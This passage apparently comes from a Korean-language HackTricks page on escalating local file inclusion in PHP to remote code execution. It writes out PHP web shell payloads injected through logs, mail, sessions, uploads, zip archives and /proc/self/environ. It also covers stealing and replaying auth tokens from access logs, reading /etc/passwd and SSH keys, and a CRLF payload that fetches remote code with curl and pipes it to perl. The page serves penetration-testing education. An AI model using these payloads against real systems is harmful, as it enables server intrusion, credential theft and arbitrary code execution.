์ด ํด๋ž˜์Šค์˜ ๋ฒ„๊ทธ๋ฅผ ๋ฌด๋ ฅํ™”ํ•˜๋Š” ํ•˜๋“œ๋‹:

  • ์ •๊ทœํ™”๋œ(canonical) ๊ฒฝ๋กœ๋กœ ํ•ด์„ํ•˜๊ณ  ๊ทธ ๊ฒฝ๋กœ๊ฐ€ ํ—ˆ์šฉ ๋ชฉ๋ก์— ๋“ฑ์žฌ๋œ ๊ธฐ๋ณธ ๋””๋ ‰ํ„ฐ๋ฆฌ์˜ ํ•˜์œ„์ธ์ง€ ๊ฐ•์ œํ•œ๋‹ค.
  • .., ์ ˆ๋Œ€ ๋ฃจํŠธ, ๋˜๋Š” ๋“œ๋ผ์ด๋ธŒ ๋ฌธ์ž๊ฐ€ ํฌํ•จ๋œ ๊ฒฝ๋กœ๋Š” ๊ฑฐ๋ถ€ํ•œ๋‹ค; ์ƒ์„ฑ๋œ ํŒŒ์ผ๋ช…์„ ์„ ํ˜ธํ•œ๋‹ค.
  • writer๋ฅผ ์ €๊ถŒํ•œ ๊ณ„์ •์œผ๋กœ ์‹คํ–‰ํ•˜๊ณ  ์“ฐ๊ธฐ ๋””๋ ‰ํ„ฐ๋ฆฌ๋ฅผ ์„œ๋น„์Šค ๋ฃจํŠธ์™€ ๋ถ„๋ฆฌํ•œ๋‹ค.

Remote File Inclusion

์•ž์„œ ์„ค๋ช…๋จ, follow this link.

Apache/Nginx ๋กœ๊ทธ ํŒŒ์ผ์„ ํ†ตํ•ด

Apache ๋˜๋Š” Nginx ์„œ๋ฒ„๊ฐ€ include ํ•จ์ˆ˜ ๋‚ด๋ถ€์—์„œ vulnerable to LFIํ•œ ๊ฒฝ์šฐ, **/var/log/apache2/access.log or /var/log/nginx/access.log**์— ์ ‘๊ทผ์„ ์‹œ๋„ํ•˜๊ณ  user agent ๋˜๋Š” GET parameter์— <?php system($_GET['c']); ?> ๊ฐ™์€ php ์‰˜์„ ๋„ฃ์€ ๋’ค ๊ทธ ํŒŒ์ผ์„ includeํ•  ์ˆ˜ ์žˆ๋‹ค

Warning

Note that if you use double quotes for the shell instead of simple quotes, the double quotes will be modified for the string โ€œquote;โ€, PHP will throw an error there and nothing else will be executed.

Also, make sure you write correctly the payload or PHP will error every time it tries to load the log file and you wonโ€™t have a second opportunity.

์ด ๋ฐฉ๋ฒ•์€ ๋‹ค๋ฅธ ๋กœ๊ทธ์—์„œ๋„ ๊ฐ€๋Šฅํ•˜์ง€๋งŒ ์ฃผ์˜ํ•  ๊ฒƒ, ๋กœ๊ทธ ๋‚ด๋ถ€์˜ ์ฝ”๋“œ๋Š” URL encoded ๋˜์–ด ์žˆ์„ ์ˆ˜ ์žˆ์–ด ์‰˜์ด ๋ง๊ฐ€์งˆ ์ˆ˜ ์žˆ๋‹ค. ํ—ค๋” **authorisation โ€œbasicโ€**์—๋Š” โ€œuser:passwordโ€œ๊ฐ€ Base64๋กœ ํฌํ•จ๋˜๋ฉฐ ๋กœ๊ทธ ๋‚ด๋ถ€์—์„œ ๋””์ฝ”๋“œ๋œ๋‹ค. PHPShell์€ ์ด ํ—ค๋” ์•ˆ์— ์‚ฝ์ž…๋  ์ˆ˜ ์žˆ๋‹ค.
๋‹ค๋ฅธ ๊ฐ€๋Šฅํ•œ ๋กœ๊ทธ ๊ฒฝ๋กœ:

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

์•ก์„ธ์Šค ๋กœ๊ทธ๋ฅผ ์ฝ์–ด GET-based auth tokens (token replay) ์ˆ˜์ง‘

๋งŽ์€ ์•ฑ์ด GET์„ ํ†ตํ•ด session/auth tokens๋ฅผ ์ž˜๋ชป ์ˆ˜์šฉํ•ฉ๋‹ˆ๋‹ค (์˜ˆ: AuthenticationToken, token, sid). web server logs์— ๋Œ€ํ•œ path traversal/LFI primitive๊ฐ€ ์žˆ๋‹ค๋ฉด, access logs์—์„œ ํ•ด๋‹น ํ† ํฐ์„ ํ›”์ณ ์žฌ์‚ฌ์šฉ(replay)ํ•˜์—ฌ authentication์„ ์™„์ „ํžˆ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

How-to:

  • traversal/LFI๋ฅผ ์‚ฌ์šฉํ•ด web server access log๋ฅผ ์ฝ์œผ์„ธ์š”. ์ผ๋ฐ˜์ ์ธ ์œ„์น˜:
  • /var/log/apache2/access.log, /var/log/httpd/access_log
  • /var/log/nginx/access.log
  • ์ผ๋ถ€ endpoints๋Š” ํŒŒ์ผ ์ฝ๊ธฐ ๊ฒฐ๊ณผ๋ฅผ Base64-encoded๋กœ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฐ ๊ฒฝ์šฐ ๋กœ์ปฌ์—์„œ ๋””์ฝ”๋“œํ•˜๊ณ  ๋กœ๊ทธ ๋ผ์ธ์„ ๊ฒ€์‚ฌํ•˜์„ธ์š”.
  • Grep์œผ๋กœ GET ์š”์ฒญ ์ค‘ token parameter๋ฅผ ํฌํ•จํ•œ ํ•ญ๋ชฉ์„ ์ฐพ์•„ ๊ฐ’์„ ์ถ”์ถœํ•œ ๋’ค, ์ด๋ฅผ application entry point์— replayํ•˜์„ธ์š”.

Example flow (generic):

GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target

๋ณธ๋ฌธ์ด Base64์ธ ๊ฒฝ์šฐ ๋””์ฝ”๋“œํ•œ ๋‹ค์Œ, ์บก์ฒ˜ํ•œ token์„ ์žฌ์‚ฌ์šฉํ•˜์„ธ์š”:

GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
Host: target

์ฐธ๊ณ :

  • Tokens in URLs๋Š” ๊ธฐ๋ณธ์ ์œผ๋กœ ๋กœ๊ทธ์— ๊ธฐ๋ก๋ฉ๋‹ˆ๋‹ค. ์šด์˜ ์‹œ์Šคํ…œ์—์„œ๋Š” bearer tokens๋ฅผ GET์œผ๋กœ ์ ˆ๋Œ€ ๋ฐ›์ง€ ๋งˆ์„ธ์š”.
  • ์•ฑ์ด ์—ฌ๋Ÿฌ token ์ด๋ฆ„์„ ์ง€์›ํ•˜๋ฉด AuthenticationToken, token, sid, access_token ๊ฐ™์€ ์ผ๋ฐ˜์ ์ธ ํ‚ค๋ฅผ ์ฐพ์•„๋ณด์„ธ์š”.
  • ๋กœ๊ทธ์— leaked๋˜์—ˆ์„ ๊ฐ€๋Šฅ์„ฑ์ด ์žˆ๋Š” tokens๋Š” ์ฆ‰์‹œ rotate(๊ต์ฒด)ํ•˜์„ธ์š”.

์ด๋ฉ”์ผ์„ ํ†ตํ•ด

๋ฉ”์ผ ๋ณด๋‚ด๊ธฐ: ๋‚ด๋ถ€ ๊ณ„์ •(user@localhost)์œผ๋กœ <?php echo system($_REQUEST["cmd"]); ?> ๊ฐ™์€ PHP payload๋ฅผ ํฌํ•จํ•œ ๋ฉ”์ผ์„ ๋ณด๋‚ด๊ณ , ์‚ฌ์šฉ์ž ๋ฉ”์ผ์„ includeํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒฝ๋กœ(/var/mail/<USERNAME> ๋˜๋Š” /var/spool/mail/<USERNAME>)๋ฅผ ์‹œ๋„ํ•˜์„ธ์š”.

/proc/*/fd/*๋ฅผ ํ†ตํ•ด

  1. ๋งŽ์€ shells๋ฅผ ์—…๋กœ๋“œํ•˜์„ธ์š”(์˜ˆ: 100)
  2. http://example.com/index.php?page=/proc/$PID/fd/$FD๋ฅผ includeํ•˜์„ธ์š”. ์—ฌ๊ธฐ์„œ $PID๋Š” ํ”„๋กœ์„ธ์Šค์˜ PID (can be brute forced)์ด๊ณ , $FD๋Š” ํŒŒ์ผ ๋””์Šคํฌ๋ฆฝํ„ฐ (can be brute forced too)์ž…๋‹ˆ๋‹ค.

/proc/self/environ๋ฅผ ํ†ตํ•ด

๋กœ๊ทธ ํŒŒ์ผ์ฒ˜๋Ÿผ, User-Agent์— payload๋ฅผ ๋ณด๋‚ด๋ฉด /proc/self/environ ํŒŒ์ผ์— ๋ฐ˜์˜๋ฉ๋‹ˆ๋‹ค.

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

์—…๋กœ๋“œ๋ฅผ ํ†ตํ•ด

ํŒŒ์ผ์„ ์—…๋กœ๋“œํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด, ๋‹จ์ˆœํžˆ shell payload๋ฅผ ๊ทธ ์•ˆ์— ์ฃผ์ž…ํ•˜์„ธ์š” (์˜ˆ: <?php system($_GET['c']); ?> ).

http://example.com/index.php?page=path/to/uploaded/file.png

ํŒŒ์ผ์„ ์ฝ๊ธฐ ์‰ฝ๊ฒŒ ์œ ์ง€ํ•˜๋ ค๋ฉด pictures/doc/pdf์˜ ๋ฉ”ํƒ€๋ฐ์ดํ„ฐ์— ์ฃผ์ž…ํ•˜๋Š” ๊ฒƒ์ด ๊ฐ€์žฅ ์ข‹์Šต๋‹ˆ๋‹ค

Zip ํŒŒ์ผ ์—…๋กœ๋“œ๋ฅผ ํ†ตํ•ด

์••์ถ•๋œ PHP shell์ด ํฌํ•จ๋œ ZIP ํŒŒ์ผ์„ ์—…๋กœ๋“œํ•œ ๋’ค ์ ‘๊ทผ:

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

PHP ์„ธ์…˜์„ ํ†ตํ•ด

์›น์‚ฌ์ดํŠธ๊ฐ€ PHP Session (PHPSESSID)์„ ์‚ฌ์šฉํ•˜๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”.

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

PHP์—์„œ๋Š” ์ด๋Ÿฌํ•œ ์„ธ์…˜์ด /var/lib/php5/sess\[PHPSESSID]_ ํŒŒ์ผ์— ์ €์žฅ๋ฉ๋‹ˆ๋‹ค

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

cookie๋ฅผ <?php system('cat /etc/passwd');?>๋กœ ์„ค์ •ํ•˜์„ธ์š”.

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

LFI๋ฅผ ์‚ฌ์šฉํ•ด PHP ์„ธ์…˜ ํŒŒ์ผ์„ ํฌํ•จํ•˜์„ธ์š”

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

ssh๋ฅผ ํ†ตํ•ด

ssh๊ฐ€ ํ™œ์„ฑํ™”๋˜์–ด ์žˆ๋‹ค๋ฉด ์–ด๋–ค ์‚ฌ์šฉ์ž๊ฐ€ ์‚ฌ์šฉ ์ค‘์ธ์ง€ (/proc/self/status & /etc/passwd) ํ™•์ธํ•˜๊ณ  <HOME>/.ssh/id_rsa์— ์ ‘๊ทผํ•ด ๋ณด์„ธ์š”

๋ฅผ ํ†ตํ•ด vsftpd logs

FTP ์„œ๋ฒ„ vsftpd์˜ ๋กœ๊ทธ๋Š” _/var/log/vsftpd.log_์— ์œ„์น˜ํ•ฉ๋‹ˆ๋‹ค. Local File Inclusion (LFI) ์ทจ์•ฝ์ ์ด ์กด์žฌํ•˜๊ณ  ๋…ธ์ถœ๋œ vsftpd ์„œ๋ฒ„์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒฝ์šฐ, ๋‹ค์Œ ์ ˆ์ฐจ๋ฅผ ๊ณ ๋ คํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

  1. ๋กœ๊ทธ์ธ ๊ณผ์ •์—์„œ username ํ•„๋“œ์— PHP payload๋ฅผ ์ฃผ์ž…ํ•˜์„ธ์š”.
  2. ์ฃผ์ž… ํ›„ LFI๋ฅผ ์ด์šฉํ•ด ์„œ๋ฒ„ ๋กœ๊ทธ _/var/log/vsftpd.log_๋ฅผ ๊ฐ€์ ธ์˜ค์„ธ์š”.

php base64 filter (base64 ์‚ฌ์šฉ)

this article์— ๋‚˜์˜จ ๊ฒƒ์ฒ˜๋Ÿผ, PHP base64 filter๋Š” Non-base64๋ฅผ ๋ฌด์‹œํ•ฉ๋‹ˆ๋‹ค. ์ด๋ฅผ ์ด์šฉํ•ด ํŒŒ์ผ ํ™•์žฅ์ž ์ฒดํฌ๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: base64๊ฐ€ โ€œ.phpโ€œ๋กœ ๋๋‚˜๋„๋ก ๊ณต๊ธ‰ํ•˜๋ฉด, filter๋Š” โ€œ.โ€œ๋ฅผ ๋ฌด์‹œํ•˜๊ณ  base64์— โ€œphpโ€œ๋ฅผ ๋ถ™์ž…๋‹ˆ๋‹ค. ์˜ˆ์‹œ payload๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

php filters๋ฅผ ํ†ตํ•œ ๋ฐฉ๋ฒ• (ํŒŒ์ผ ํ•„์š” ์—†์Œ)

This writeup explains that you can use php filters to generate arbitrary content as output. Which basically means that you can generate arbitrary php code for the include without needing to write it into a file.

LFI2RCE via PHP Filters

segmentation fault๋ฅผ ํ†ตํ•œ ๋ฐฉ๋ฒ•

ํŒŒ์ผ์„ ์—…๋กœ๋“œํ•˜๋ฉด /tmp์— ์ž„์‹œ๋กœ ์ €์žฅ๋˜๋Š”๋ฐ, ๊ฐ™์€ ์š”์ฒญ์—์„œ segmentation fault๋ฅผ ์œ ๋ฐœํ•˜๋ฉด ์ž„์‹œ ํŒŒ์ผ์ด ์‚ญ์ œ๋˜์ง€ ์•Š์•„ ํ•ด๋‹น ํŒŒ์ผ์„ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

LFI2RCE via Segmentation Fault

Nginx ์ž„์‹œ ํŒŒ์ผ ์ €์žฅ์†Œ๋ฅผ ํ†ตํ•œ ๋ฐฉ๋ฒ•

๋งŒ์•ฝ Local File Inclusion๋ฅผ ๋ฐœ๊ฒฌํ–ˆ๊ณ  Nginx๊ฐ€ PHP ์•ž์—์„œ ๋™์ž‘ํ•œ๋‹ค๋ฉด, ๋‹ค์Œ ๊ธฐ๋ฒ•์œผ๋กœ RCE๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

LFI2RCE via Nginx temp files

PHP_SESSION_UPLOAD_PROGRESS๋ฅผ ํ†ตํ•œ ๋ฐฉ๋ฒ•

์„ธ์…˜์ด ์—†๊ณ  session.auto_start๊ฐ€ Off์ธ ์ƒํƒœ์—์„œ๋„ Local File Inclusion์„ ๋ฐœ๊ฒฌํ–ˆ๋‹ค๋ฉด, multipart POST ๋ฐ์ดํ„ฐ์— **PHP_SESSION_UPLOAD_PROGRESS**๋ฅผ ์ œ๊ณตํ•˜๋ฉด PHP๊ฐ€ ์„ธ์…˜์„ ์ž๋™์œผ๋กœ ํ™œ์„ฑํ™”ํ•ฉ๋‹ˆ๋‹ค. ์ด๋ฅผ ์•…์šฉํ•ด RCE๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

Windows์˜ ์ž„์‹œ ํŒŒ์ผ ์—…๋กœ๋“œ๋ฅผ ํ†ตํ•œ ๋ฐฉ๋ฒ•

๋งŒ์•ฝ Local File Inclusion์„ ๋ฐœ๊ฒฌํ–ˆ๊ณ  ์„œ๋ฒ„๊ฐ€ Windows์—์„œ ๋™์ž‘ํ•œ๋‹ค๋ฉด RCE๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

LFI2RCE Via temp file uploads

pearcmd.php + URL args๋ฅผ ํ†ตํ•œ ๋ฐฉ๋ฒ•

As explained in this post, the script /usr/local/lib/phppearcmd.php exists by default in php docker images. Moreover, itโ€™s possible to pass arguments to the script via the URL because itโ€™s indicated that if a URL param doesnโ€™t have an =, it should be used as an argument. See also watchTowrโ€™s write-up and Orange Tsaiโ€™s โ€œConfusion Attacksโ€.

The following request create a file in /tmp/hello.php with the content <?=phpinfo()?>:

GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1

๋‹ค์Œ์€ CRLF vuln์„ ์•…์šฉํ•ด RCE๋ฅผ ์–ป๋Š” ์˜ˆ์‹œ์ž…๋‹ˆ๋‹ค (์ถœ์ฒ˜: here):

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

phpinfo() (file_uploads = on)์„ ํ†ตํ•ด

๋งŒ์•ฝ Local File Inclusion๋ฅผ ๋ฐœ๊ฒฌํ–ˆ๊ณ  **phpinfo()**๋ฅผ ๋…ธ์ถœํ•˜๋ฉฐ file_uploads = on์ธ ํŒŒ์ผ์ด ์žˆ๋‹ค๋ฉด RCE๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

LFI2RCE via phpinfo()

compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure๋ฅผ ํ†ตํ•ด

๋งŒ์•ฝ Local File Inclusion๋ฅผ ๋ฐœ๊ฒฌํ–ˆ๊ณ  ์ž„์‹œ ํŒŒ์ผ์˜ ๊ฒฝ๋กœ๋ฅผ exfiltrateํ•  ์ˆ˜ BUT server๊ฐ€ ํฌํ•จํ•  ํŒŒ์ผ์— PHP ๋งˆํฌ๊ฐ€ ์žˆ๋Š”์ง€ checkingํ•˜๊ณ  ์žˆ๋‹ค๋ฉด, ์ด Race Condition์œผ๋กœ ๊ทธ check๋ฅผ bypassํ•ด ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

eternal waiting + bruteforce๋ฅผ ํ†ตํ•ด

๋งŒ์•ฝ LFI๋ฅผ ์•…์šฉํ•ด ์ž„์‹œ ํŒŒ์ผ์„ uploadํ•˜๊ณ  ์„œ๋ฒ„๊ฐ€ PHP ์‹คํ–‰์„ hangํ•˜๋„๋ก ๋งŒ๋“ค ์ˆ˜ ์žˆ๋‹ค๋ฉด, ๊ทธ ํ›„ ๋ช‡ ์‹œ๊ฐ„ ๋™์•ˆ ํŒŒ์ผ๋ช…์„ brute forceํ•˜์—ฌ ์ž„์‹œ ํŒŒ์ผ์„ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

LFI2RCE via Eternal waiting

To Fatal Error

๋งŒ์•ฝ /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar ์ค‘ ํ•˜๋‚˜๋ฅผ includeํ•˜๋ฉด ๋ฉ๋‹ˆ๋‹ค. (๊ทธ ์˜ค๋ฅ˜๋ฅผ ๋ฐœ์ƒ์‹œํ‚ค๋ ค๋ฉด ๋™์ผํ•œ ํŒŒ์ผ์„ 2๋ฒˆ includeํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค).

์ด๊ฒŒ ์–ด๋–ป๊ฒŒ ์œ ์šฉํ•œ์ง€ ์ž˜ ๋ชจ๋ฅด๊ฒ ์ง€๋งŒ ๊ฐ€๋Šฅ์„ฑ์€ ์žˆ์Šต๋‹ˆ๋‹ค.
PHP Fatal Error๋ฅผ ์ผ์œผํ‚ค๋”๋ผ๋„ ์—…๋กœ๋“œ๋œ PHP ์ž„์‹œ ํŒŒ์ผ๋“ค์€ ์‚ญ์ œ๋ฉ๋‹ˆ๋‹ค.

ํด๋ผ์ด์–ธํŠธ์—์„œ traversal ์‹œํ€€์Šค ์œ ์ง€

์ผ๋ถ€ HTTP ํด๋ผ์ด์–ธํŠธ๋Š” ์š”์ฒญ์ด ์„œ๋ฒ„์— ๋„๋‹ฌํ•˜๊ธฐ ์ „์— ../๋ฅผ ์ •๊ทœํ™”ํ•˜๊ฑฐ๋‚˜ ์ถ•์†Œํ•ด์„œ directory traversal payloads๋ฅผ ๊นจ๋œจ๋ฆฝ๋‹ˆ๋‹ค. ๋กœ๊ทธ/๋‹ค์šด๋กœ๋“œ ์—”๋“œํฌ์ธํŠธ๊ฐ€ ์‚ฌ์šฉ์ž ์ œ์–ด ํŒŒ์ผ๋ช…์„ ์—ฐ๊ฒฐ(concatenate)ํ•  ๋•Œ traversal์„ ๊ทธ๋Œ€๋กœ ์œ ์ง€ํ•˜๋ ค๋ฉด curl --path-as-is๋ฅผ ์‚ฌ์šฉํ•˜๊ณ , /proc ๊ฐ™์€ pseudo-files์— ๋Œ€ํ•ด์„œ๋Š” --ignore-content-length๋ฅผ ์ถ”๊ฐ€ํ•˜์„ธ์š”:

curl --path-as-is -b "session=$SESSION" \
"http://TARGET/admin/get_system_log?log_identifier=../../../../proc/self/environ" \
--ignore-content-length -s | tr '\000' '\n'

../ ์„ธ๊ทธ๋จผํŠธ์˜ ์ˆ˜๋ฅผ ์กฐ์ •ํ•˜์—ฌ ์˜๋„ํ•œ ๋””๋ ‰ํ„ฐ๋ฆฌ์—์„œ ๋ฒ—์–ด๋‚œ ๋‹ค์Œ, /etc/passwd, /proc/self/cwd/app.py ๋˜๋Š” ๋‹ค๋ฅธ ์†Œ์Šค/์„ค์ • ํŒŒ์ผ์„ ๋คํ”„ํ•ฉ๋‹ˆ๋‹ค.

์ฐธ๊ณ ์ž๋ฃŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ